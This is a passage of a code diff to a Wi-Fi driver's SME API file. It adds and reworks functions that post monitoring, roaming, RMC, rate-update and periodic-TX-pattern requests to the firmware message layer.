VOS_MQ_ID_WDA, &vosMessage ); if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) { @@ -5988,6 +6136,149 @@ eHalStatus sme_DHCPStopInd( tHalHandle hHal, return (status); } +#ifdef WLAN_FEATURE_RMC +/*--------------------------------------------------------------------------- + + \fn sme_TXFailMonitorStopInd + + \brief API to signal the FW to start monitoring TX failures + + \return eHalStatus SUCCESS. + + FAILURE or RESOURCES The API finished and failed. + --------------------------------------------------------------------------*/ +eHalStatus sme_TXFailMonitorStartStopInd(tHalHandle hHal, tANI_U8 tx_fail_count, + void * txFailIndCallback) +{ + eHalStatus status; + VOS_STATUS vosStatus; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t vosMessage; + tAniTXFailMonitorInd *pMsg; + + status = sme_AcquireGlobalLock(&pMac->sme); + if ( eHAL_STATUS_SUCCESS == status) + { + pMsg = (tAniTXFailMonitorInd*) + vos_mem_malloc(sizeof(tAniTXFailMonitorInd)); + if (NULL == pMsg) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Failed to allocate memory", __func__); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + + pMsg->msgType = WDA_TX_FAIL_MONITOR_IND; + pMsg->msgLen = (tANI_U16)sizeof(tAniTXFailMonitorInd); + + //tx_fail_count = 0 should disable the Monitoring in FW + pMsg->tx_fail_count = tx_fail_count; + pMsg->txFailIndCallback = txFailIndCallback; + + vosMessage.type = WDA_TX_FAIL_MONITOR_IND; + vosMessage.bodyptr = pMsg; + vosMessage.reserved = 0; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + vosStatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage ); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Post TX Fail monitor Start MSG fail", __func__); + vos_mem_free(pMsg); + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme ); + } + return (status); +} +#endif /* WLAN_FEATURE_RMC */ + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +void sme_PERRoamScanStartStop(void *hHal, tANI_U8 start) +{ + eHalStatus status; + VOS_STATUS vosStatus; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t vosMessage; + tPERRoamScanStart *pMsg; + + status = sme_AcquireGlobalLock(&pMac->sme); + if ( eHAL_STATUS_SUCCESS == status) + { + pMsg = (tPERRoamScanStart *) + vos_mem_malloc(sizeof(tPERRoamScanStart)); + if (NULL == pMsg) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Failed to allocate memory", __func__); + sme_ReleaseGlobalLock( &pMac->sme ); + return; + } + + pMsg->msgType = WDA_PER_ROAM_SCAN_TRIGGER_REQ; + pMsg->msgLen = (tANI_U16)sizeof(*pMsg); + + pMsg->start = start; + + vosMessage.type = WDA_PER_ROAM_SCAN_TRIGGER_REQ; + vosMessage.bodyptr = pMsg; + vosMessage.reserved = 0; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + vosStatus = vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage ); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Post TX Fail monitor Start MSG fail", __func__); + vos_mem_free(pMsg); + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock(&pMac->sme); + } +} + +/* sme_set_per_roam_rxconfig : set PER config for Rx monitoring + * @hHal: hal pointer + * @staId: station id + * @minRate : rate at which to start monitoring + * @maxRate : Rate at which to stop monitoring + * @minPercentage: minimum % of packets required in minRate to trigger a scan + * @minPktRequired: minimum number of packets required to trigger a scan + * @waitPeriodForNextPERScan: time to wait before start monitoring again once + * roam scan is triggered + * */ + +VOS_STATUS sme_set_per_roam_rxconfig (tHalHandle hHal, v_U8_t staId, + v_U16_t minRate, v_U16_t maxRate, + v_U8_t minPercentage, v_U16_t minPktRequired, + v_U64_t waitPeriodForNextPERScan) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + v_VOID_t * pVosContext = vos_get_global_context(VOS_MODULE_ID_SME, NULL); + WLANTL_StartRxRateMonitor(pVosContext, staId, minRate, maxRate, + minPercentage, minPktRequired, + (void *) hHal, waitPeriodForNextPERScan, + sme_PERRoamScanStartStop); + pMac->PERroamCandidatesCnt = 0; + return eHAL_STATUS_SUCCESS; +} + +/* sme_unset_per_roam_rxconfig : unset PER config for Rx monitoring + * */ +VOS_STATUS sme_unset_per_roam_rxconfig (tHalHandle hHal) +{ + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + v_VOID_t * pVosContext = vos_get_global_context(VOS_MODULE_ID_SME, NULL); + vos_mem_set(pMac->previousRoamApInfo, + sizeof(tSirRoamAPInfo) * SIR_PER_ROAM_MAX_CANDIDATE_CNT, 0); + WLANTL_StopRxRateMonitor(pVosContext); + return eHAL_STATUS_SUCCESS; +} +#endif /* --------------------------------------------------------------------------- \fn sme_BtcSignalBtEvent @@ -6385,6 +6676,7 @@ VOS_STATUS sme_DbgWriteMemory(tHalHandle hHal, v_U32_t memAddr, v_U8_t *pBuf, v_ } +#ifdef WLAN_DEBUG void pmcLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString, ...) { VOS_TRACE_LEVEL vosDebugLevel; @@ -6405,7 +6697,6 @@ void pmcLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString, ...) void smsLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString,...) { -#ifdef WLAN_DEBUG // Verify against current log level if ( loglevel > pMac->utils.gLogDbgLevel[LOG_INDEX_FOR_MODULE( SIR_SMS_MODULE_ID )] ) return; @@ -6419,8 +6710,8 @@ void smsLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString,...) va_end( marker ); /* Reset variable arguments. */ } -#endif } +#endif /* --------------------------------------------------------------------------- \fn sme_GetWcnssWlanCompiledVersion @@ -6774,6 +7065,57 @@ eHalStatus sme_OemDataReq(tHalHandle hHal, return(status); } +/* --------------------------------------------------------------------------- + \fn sme_OemDataReqNew + \brief a wrapper function for OEM DATA REQ NEW + \param pOemDataReqNewConfig - Data to be passed to FW + ---------------------------------------------------------------------------*/ +void sme_OemDataReqNew(tHalHandle hHal, + tOemDataReqNewConfig *pOemDataReqNewConfig) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + tOemDataReqNewConfig *pLocalOemDataReqNewConfig; + vos_msg_t vosMessage = {0}; + + pLocalOemDataReqNewConfig = + vos_mem_malloc(sizeof(*pLocalOemDataReqNewConfig)); + + if (!pLocalOemDataReqNewConfig) + { + smsLog(pMac, LOGE, + "Failed to allocate memory for WDA_START_OEM_DATA_REQ_IND_NEW"); + return; + } + + vos_mem_zero(pLocalOemDataReqNewConfig, sizeof(tOemDataReqNewConfig)); + vos_mem_copy(pLocalOemDataReqNewConfig, pOemDataReqNewConfig, + sizeof(tOemDataReqNewConfig)); + + if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { + /* Serialize the req through MC thread */ + vosMessage.bodyptr = pLocalOemDataReqNewConfig; + vosMessage.type = WDA_START_OEM_DATA_REQ_IND_NEW; + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + + if(VOS_STATUS_SUCCESS != + vos_mq_post_message(VOS_MQ_ID_WDA, &vosMessage)) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s:" + "Failed to post WDA_START_OEM_DATA_REQ_IND_NEW msg to WDA", + __func__); + vos_mem_free(pLocalOemDataReqNewConfig); + } + sme_ReleaseGlobalLock(&pMac->sme); + } + else + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s: " + "sme_AcquireGlobalLock error", __func__); + vos_mem_free(pLocalOemDataReqNewConfig); + } +} + #endif /*FEATURE_OEM_DATA_SUPPORT*/ /*-------------------------------------------------------------------------- @@ -6845,6 +7187,7 @@ eHalStatus sme_OpenSession(tHalHandle hHal, csrRoamCompleteCallback callback, --------------------------------------------------------------------------*/ eHalStatus sme_CloseSession(tHalHandle hHal, tANI_U8 sessionId, + tANI_BOOLEAN fSync, tANI_U8 bPurgeSmeCmdList, csrRoamSessionCloseCallback callback, void *pContext) @@ -6854,11 +7197,11 @@ eHalStatus sme_CloseSession(tHalHandle hHal, tANI_U8 sessionId, MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_RX_HDD_CLOSE_SESSION, sessionId, 0)); - status = sme_AcquireGlobalLock( &pMac->sme ); - if ( HAL_STATUS_SUCCESS( status ) ) + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) { - status = csrRoamCloseSession( pMac, sessionId, FALSE, bPurgeSmeCmdList, - callback, pContext ); + status = csrRoamCloseSession(pMac, sessionId, fSync, bPurgeSmeCmdList, + callback, pContext); sme_ReleaseGlobalLock( &pMac->sme ); } @@ -6866,19 +7209,6 @@ eHalStatus sme_CloseSession(tHalHandle hHal, tANI_U8 sessionId, return ( status ); } -eHalStatus sme_PurgeCmdList(tHalHandle hHal, tANI_U8 sessionId) -{ - eHalStatus status; - tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); - status = sme_AcquireGlobalLock( &pMac->sme ); - if ( HAL_STATUS_SUCCESS( status ) ) - { - csrPurgeSmeCmdList( pMac, sessionId ); - sme_ReleaseGlobalLock( &pMac->sme ); - } - return ( status ); -} - /* --------------------------------------------------------------------------- \fn sme_RoamUpdateAPWPSIE @@ -7718,65 +8048,72 @@ eHalStatus sme_InitMgmtFrameLogging( tHalHandle hHal, VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; tpAniSirGlobal pMac = PMAC_STRUCT(hHal); vos_msg_t vosMessage; + tpSirFWLoggingInitParam msg; + + msg = vos_mem_malloc(sizeof(tSirFWLoggingInitParam)); + + if (NULL == msg) + { + smsLog(pMac, LOGE, FL("Failed to alloc mem of size %zu for msg"), + sizeof(*msg)); + return eHAL_STATUS_FAILED_ALLOC; + } + *msg = *wlanFWLoggingInitParam; if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ) ) ) { /* serialize the req through MC thread */ - vosMessage.bodyptr = wlanFWLoggingInitParam; + vosMessage.bodyptr = msg; vosMessage.type = WDA_MGMT_LOGGING_INIT_REQ; MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) { + vos_mem_free(msg); status = eHAL_STATUS_FAILURE; } sme_ReleaseGlobalLock( &pMac->sme ); } + else + { + smsLog(pMac, LOGE, FL("sme_AcquireGlobalLock error")); + vos_mem_free(msg); + } return(status); } - /* --------------------------------------------------------------------------- - \fn sme_ConfigureRxpFilter + \fn sme_StartRssiMonitoring \brief - SME will pass this request to lower mac to set/reset the filter on RXP for - multicast & broadcast traffic. + SME will pass this request to lower mac to start monitoring rssi range on + a bssid. \param hHal - The handle returned by macOpen. - filterMask- Currently the API takes a 1 or 0 (set or reset) as filter. - Basically to enable/disable the filter (to filter "all" mcbc traffic) based - on this param. In future we can use this as a mask to set various types of - filters as suggested below: - FILTER_ALL_MULTICAST: - FILTER_ALL_BROADCAST: - FILTER_ALL_MULTICAST_BROADCAST: - + tSirRssiMonitorReq req- depict the monitor req params. \return eHalStatus - --------------------------------------------------------------------------- */ -eHalStatus sme_ConfigureRxpFilter( tHalHandle hHal, - tpSirWlanSetRxpFilters wlanRxpFilterParam) +eHalStatus sme_StartRssiMonitoring( tHalHandle hHal, + tSirRssiMonitorReq *req) { eHalStatus status = eHAL_STATUS_SUCCESS; VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; tpAniSirGlobal pMac = PMAC_STRUCT(hHal); vos_msg_t vosMessage; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_RX_HDD_CONFIG_RXPFIL, NO_SESSION, 0)); - if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ) ) ) + if ( eHAL_STATUS_SUCCESS == ( status = + sme_AcquireGlobalLock( &pMac->sme ) ) ) { /* serialize the req through MC thread */ - vosMessage.bodyptr = wlanRxpFilterParam; - vosMessage.type = WDA_CFG_RXP_FILTER_REQ; + vosMessage.bodyptr = req; + vosMessage.type = WDA_START_RSSI_MONITOR_REQ; MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); @@ -7791,38 +8128,35 @@ eHalStatus sme_ConfigureRxpFilter( tHalHandle hHal, /* --------------------------------------------------------------------------- - \fn sme_ConfigureSuspendInd + \fn sme_StopRssiMonitoring \brief - SME will pass this request to lower mac to Indicate that the wlan needs to - be suspended + SME will pass this request to lower mac to stop monitoring rssi range on + a bssid. \param hHal - The handle returned by macOpen. - wlanSuspendParam- Depicts the wlan suspend params - + tSirRssiMonitorReq req- depict the monitor req params. \return eHalStatus - --------------------------------------------------------------------------- */ -eHalStatus sme_ConfigureSuspendInd( tHalHandle hHal, - tpSirWlanSuspendParam wlanSuspendParam) +eHalStatus sme_StopRssiMonitoring(tHalHandle hHal, + tSirRssiMonitorReq *req) { eHalStatus status = eHAL_STATUS_SUCCESS; VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; tpAniSirGlobal pMac = PMAC_STRUCT(hHal); vos_msg_t vosMessage; - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_RX_HDD_CONFIG_SUSPENDIND, NO_SESSION, 0)); - if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ) ) ) + if ( eHAL_STATUS_SUCCESS == ( status = + sme_AcquireGlobalLock( &pMac->sme ) ) ) { /* serialize the req through MC thread */ - vosMessage.bodyptr = wlanSuspendParam; - vosMessage.type = WDA_WLAN_SUSPEND_IND; + vosMessage.bodyptr = req; + vosMessage.type = WDA_STOP_RSSI_MONITOR_REQ; MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); @@ -7837,11 +8171,109 @@ eHalStatus sme_ConfigureSuspendInd( tHalHandle hHal, /* --------------------------------------------------------------------------- - \fn sme_ConfigureResumeReq + \fn sme_ConfigureRxpFilter \brief - SME will pass this request to lower mac to Indicate that the wlan needs to - be Resumed + SME will pass this request to lower mac to set/reset the filter on RXP for + multicast & broadcast traffic. + + \param + + hHal - The handle returned by macOpen. + + filterMask- Currently the API takes a 1 or 0 (set or reset) as filter. + Basically to enable/disable the filter (to filter "all" mcbc traffic) based + on this param. In future we can use this as a mask to set various types of + filters as suggested below: + FILTER_ALL_MULTICAST: + FILTER_ALL_BROADCAST: + FILTER_ALL_MULTICAST_BROADCAST: + + + \return eHalStatus + + +--------------------------------------------------------------------------- */ +eHalStatus sme_ConfigureRxpFilter( tHalHandle hHal, + tpSirWlanSetRxpFilters wlanRxpFilterParam) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t vosMessage; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_RX_HDD_CONFIG_RXPFIL, NO_SESSION, 0)); + if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ) ) ) + { + /* serialize the req through MC thread */ + vosMessage.bodyptr = wlanRxpFilterParam; + vosMessage.type = WDA_CFG_RXP_FILTER_REQ; + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme ); + } + return(status); +} + +/* --------------------------------------------------------------------------- + + \fn sme_ConfigureSuspendInd + + \brief + SME will pass this request to lower mac to Indicate that the wlan needs to + be suspended + + \param + + hHal - The handle returned by macOpen. + + wlanSuspendParam- Depicts the wlan suspend params + + + \return eHalStatus + + +--------------------------------------------------------------------------- */ +eHalStatus sme_ConfigureSuspendInd( tHalHandle hHal, + tpSirWlanSuspendParam wlanSuspendParam) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + VOS_STATUS vosStatus = VOS_STATUS_SUCCESS; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + vos_msg_t vosMessage; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_RX_HDD_CONFIG_SUSPENDIND, NO_SESSION, 0)); + if ( eHAL_STATUS_SUCCESS == ( status = sme_AcquireGlobalLock( &pMac->sme ) ) ) + { + /* serialize the req through MC thread */ + vosMessage.bodyptr = wlanSuspendParam; + vosMessage.type = WDA_WLAN_SUSPEND_IND; + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); + if ( !VOS_IS_STATUS_SUCCESS(vosStatus) ) + { + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock( &pMac->sme ); + } + return(status); +} + +/* --------------------------------------------------------------------------- + + \fn sme_ConfigureResumeReq + + \brief + SME will pass this request to lower mac to Indicate that the wlan needs to + be Resumed \param @@ -7911,6 +8343,21 @@ tANI_S8 sme_GetInfraSessionId(tHalHandle hHal) return (sessionid); } +tANI_U32 sme_get_sessionid_from_activeList(tpAniSirGlobal mac) +{ + tListElem *entry = NULL; + tSmeCmd *command = NULL; + tANI_U32 session_id = 0; + + entry = csrLLPeekHead( &mac->sme.smeCmdActiveList, LL_ACCESS_LOCK ); + if ( entry ) { + command = GET_BASE_ADDR( entry, tSmeCmd, Link ); + session_id = command->sessionId; + } + + return (session_id); +} + /* --------------------------------------------------------------------------- \fn sme_GetInfraOperationChannel @@ -10598,13 +11045,12 @@ tANI_BOOLEAN sme_getIsFtFeatureEnabled(tHalHandle hHal) #endif } + /* --------------------------------------------------------------------------- \fn sme_IsFeatureSupportedByFW - \brief Check if a feature is enabled by FW \param featEnumValue - Enumeration value from placeHolderInCapBitmap - \- return 1/0 (TRUE/FALSE) -------------------------------------------------------------------------*/ tANI_U8 sme_IsFeatureSupportedByFW(tANI_U8 featEnumValue) @@ -11009,9 +11455,16 @@ eHalStatus sme_HandleDFSChanScan(tHalHandle hHal) eHalStatus status = eHAL_STATUS_SUCCESS; tCsrChannel ChannelList; - /* Flag to block driver scan type conversion from active to passive - and vice versa */ - pMac->fActiveScanOnDFSChannels = 1; + /* + * Set Flag to block driver scan type conversion from active to passive + * and vice versa in case if fEnableDFSChnlScan is + * DFS_CHNL_SCAN_ENABLED_ACTIVE + */ + if (DFS_CHNL_SCAN_ENABLED_ACTIVE == + pMac->scan.fEnableDFSChnlScan) + pMac->fActiveScanOnDFSChannels = 1; + else + pMac->fActiveScanOnDFSChannels = 0; ChannelList.numChannels = sizeof(ChannelList.channelList); status = sme_GetCfgValidChannels(hHal, (tANI_U8 *)ChannelList.channelList, @@ -11594,53 +12047,173 @@ void sme_enable_disable_split_scan (tHalHandle hHal, tANI_U8 nNumStaChan, } -/* --------------------------------------------------------------------------- - \fn sme_AddPeriodicTxPtrn - \brief API to Periodic TX Pattern Offload feature - \param hHal - The handle returned by macOpen - \param addPeriodicTxPtrnParams - Pointer to the add pattern structure - \return eHalStatus - ---------------------------------------------------------------------------*/ -eHalStatus sme_AddPeriodicTxPtrn(tHalHandle hHal, tSirAddPeriodicTxPtrn - *addPeriodicTxPtrnParams) +/** + * sme_AddPeriodicTxPtrn() - Add Periodic TX Pattern + * @hal: global hal handle + * @addPeriodicTxPtrnParams: request message + * + * Return: eHalStatus enumeration + */ +eHalStatus +sme_AddPeriodicTxPtrn(tHalHandle hal, + struct sSirAddPeriodicTxPtrn *addPeriodicTxPtrnParams) +{ + eHalStatus status = eHAL_STATUS_SUCCESS; + VOS_STATUS vos_status = VOS_STATUS_SUCCESS; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + struct sSirAddPeriodicTxPtrn *req_msg; + vos_msg_t msg; + + smsLog(mac, LOG1, FL("enter")); + + req_msg = vos_mem_malloc(sizeof(*req_msg)); + if (!req_msg) + { + smsLog(mac, LOGE, FL("vos_mem_malloc failed")); + return eHAL_STATUS_FAILED_ALLOC; + } + + *req_msg = *addPeriodicTxPtrnParams; + + status = sme_AcquireGlobalLock(&mac->sme); + if (status != eHAL_STATUS_SUCCESS) + { + smsLog(mac, LOGE, + FL("sme_AcquireGlobalLock failed!(status=%d)"), + status); + vos_mem_free(req_msg); + return status; + } + + /* Serialize the req through MC thread */ + msg.bodyptr = req_msg; + msg.type = WDA_ADD_PERIODIC_TX_PTRN_IND; + vos_status = vos_mq_post_message(VOS_MQ_ID_WDA, &msg); + if (!VOS_IS_STATUS_SUCCESS(vos_status)) + { + smsLog(mac, LOGE, + FL("vos_mq_post_message failed!(err=%d)"), + vos_status); + vos_mem_free(req_msg); + status = eHAL_STATUS_FAILURE; + } + sme_ReleaseGlobalLock(&mac->sme); + return status; +} + + +/** + * sme_DelPeriodicTxPtrn() - Delete Periodic TX Pattern + * @hal: global hal handle + * @delPeriodicTxPtrnParams: request message + * + * Return: eHalStatus enumeration + */ +eHalStatus +sme_DelPeriodicTxPtrn(tHalHandle hal, + struct sSirDelPeriodicTxPtrn *delPeriodicTxPtrnParams) { - tpAniSirGlobal pMac = PMAC_STRUCT(hHal); - eHalStatus status; + + eHalStatus status = eHAL_STATUS_SUCCESS; + VOS_STATUS vos_status = VOS_STATUS_SUCCESS; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + struct sSirDelPeriodicTxPtrn *req_msg; vos_msg_t msg; - if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) + smsLog(mac, LOG1, FL("enter")); + + req_msg = vos_mem_malloc(sizeof(*req_msg)); + + if (!req_msg) { - msg.type = WDA_ADD_PERIODIC_TX_PTRN_IND; - msg.bodyptr = addPeriodicTxPtrnParams; + smsLog(mac, LOGE, FL("vos_mem_malloc failed")); + return eHAL_STATUS_FAILED_ALLOC; + } - MTRACE(vos_trace(VOS_MODULE_ID_SME, - TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, msg.type)); - if (!VOS_IS_STATUS_SUCCESS(vos_mq_post_message(VOS_MODULE_ID_WDA, &msg))) - { - VOS_TRACE( VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR,"%s: Not able " - "to post WDA_ADD_PERIODIC_TX_PTRN_IND to WDA!", - __func__); + *req_msg = *delPeriodicTxPtrnParams; - sme_ReleaseGlobalLock(&pMac->sme); - return eHAL_STATUS_FAILURE; - } + status = sme_AcquireGlobalLock(&mac->sme); + if (status != eHAL_STATUS_SUCCESS) + { + smsLog(mac, LOGE, + FL("sme_AcquireGlobalLock failed!(status=%d)"), + status); + vos_mem_free(req_msg); + return status; + } - sme_ReleaseGlobalLock(&pMac->sme); - return eHAL_STATUS_SUCCESS; + /* Serialize the req through MC thread */ + msg.bodyptr = req_msg; + msg.type = WDA_DEL_PERIODIC_TX_PTRN_IND; + vos_status = vos_mq_post_message(VOS_MQ_ID_WDA, &msg); + if (!VOS_IS_STATUS_SUCCESS(vos_status)) + { + smsLog(mac, LOGE, + FL("vos_mq_post_message failed!(err=%d)"), + vos_status); + vos_mem_free(req_msg); + status = eHAL_STATUS_FAILURE; } + sme_ReleaseGlobalLock(&mac->sme); + return status; +} + +#ifdef WLAN_FEATURE_RMC +/* --------------------------------------------------------------------------- + \fn sme_EnableRMC + \brief Used to enable RMC + setting will not persist over reboots + \param hHal + \param sessionId + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_EnableRMC(tHalHandle hHal, tANI_U32 sessionId) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); + smsLog(pMac, LOG1, FL("enable RMC")); + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) + { + status = csrEnableRMC(pMac, sessionId); + sme_ReleaseGlobalLock(&pMac->sme); + } return status; } /* --------------------------------------------------------------------------- - \fn sme_DelPeriodicTxPtrn - \brief API to Periodic TX Pattern Offload feature + \fn sme_DisableRMC + \brief Used to disable RMC + setting will not persist over reboots + \param hHal + \param sessionId + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_DisableRMC(tHalHandle hHal, tANI_U32 sessionId) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); + + smsLog(pMac, LOG1, FL("disable RMC")); + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) + { + status = csrDisableRMC(pMac, sessionId); + sme_ReleaseGlobalLock(&pMac->sme); + } + return status; +} +#endif /* WLAN_FEATURE_RMC */ + +/* --------------------------------------------------------------------------- + \fn sme_SendRateUpdateInd + \brief API to Update rate \param hHal - The handle returned by macOpen - \param delPeriodicTxPtrnParams - Pointer to the delete pattern structure + \param rateUpdateParams - Pointer to rate update params \return eHalStatus ---------------------------------------------------------------------------*/ -eHalStatus sme_DelPeriodicTxPtrn(tHalHandle hHal, tSirDelPeriodicTxPtrn - *delPeriodicTxPtrnParams) +eHalStatus sme_SendRateUpdateInd(tHalHandle hHal, tSirRateUpdateInd *rateUpdateParams) { tpAniSirGlobal pMac = PMAC_STRUCT(hHal); eHalStatus status; @@ -11648,15 +12221,15 @@ eHalStatus sme_DelPeriodicTxPtrn(tHalHandle hHal, tSirDelPeriodicTxPtrn if (eHAL_STATUS_SUCCESS == (status = sme_AcquireGlobalLock(&pMac->sme))) { - msg.type = WDA_DEL_PERIODIC_TX_PTRN_IND; - msg.bodyptr = delPeriodicTxPtrnParams; + msg.type = WDA_RATE_UPDATE_IND; + msg.bodyptr = rateUpdateParams; MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, msg.type)); if (!VOS_IS_STATUS_SUCCESS(vos_mq_post_message(VOS_MODULE_ID_WDA, &msg))) { VOS_TRACE( VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR,"%s: Not able " - "to post WDA_DEL_PERIODIC_TX_PTRN_IND to WDA!", + "to post WDA_SET_RMC_RATE_IND to WDA!", __func__); sme_ReleaseGlobalLock(&pMac->sme); @@ -11670,6 +12243,65 @@ eHalStatus sme_DelPeriodicTxPtrn(tHalHandle hHal, tSirDelPeriodicTxPtrn return status; } +#ifdef WLAN_FEATURE_RMC +/* --------------------------------------------------------------------------- + \fn sme_GetIBSSPeerInfo + \brief Used to disable RMC + setting will not persist over reboots + \param hHal + \param ibssPeerInfoReq multicast Group IP address + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_RequestIBSSPeerInfo(tHalHandle hHal, void *pUserData, + pIbssPeerInfoCb peerInfoCbk, + tANI_BOOLEAN allPeerInfoReqd, + tANI_U8 staIdx) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + VOS_STATUS vosStatus = VOS_STATUS_E_FAILURE; + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); + vos_msg_t vosMessage; + tSirIbssGetPeerInfoReqParams *pIbssInfoReqParams; + + status = sme_AcquireGlobalLock(&pMac->sme); + if ( eHAL_STATUS_SUCCESS == status) + { + pMac->sme.peerInfoParams.peerInfoCbk = peerInfoCbk; + pMac->sme.peerInfoParams.pUserData = pUserData; + + pIbssInfoReqParams = (tSirIbssGetPeerInfoReqParams *) + vos_mem_malloc(sizeof(tSirIbssGetPeerInfoReqParams)); + if (NULL == pIbssInfoReqParams) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Not able to allocate memory for dhcp start", __func__); + sme_ReleaseGlobalLock( &pMac->sme ); + return eHAL_STATUS_FAILURE; + } + pIbssInfoReqParams->allPeerInfoReqd = allPeerInfoReqd; + pIbssInfoReqParams->staIdx = staIdx; + + vosMessage.type = WDA_GET_IBSS_PEER_INFO_REQ; + vosMessage.bodyptr = pIbssInfoReqParams; + vosMessage.reserved = 0; + + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, NO_SESSION, vosMessage.type)); + vosStatus = vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage ); + if ( VOS_STATUS_SUCCESS != vosStatus ) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Post WDA_GET_IBSS_PEER_INFO_REQ MSG 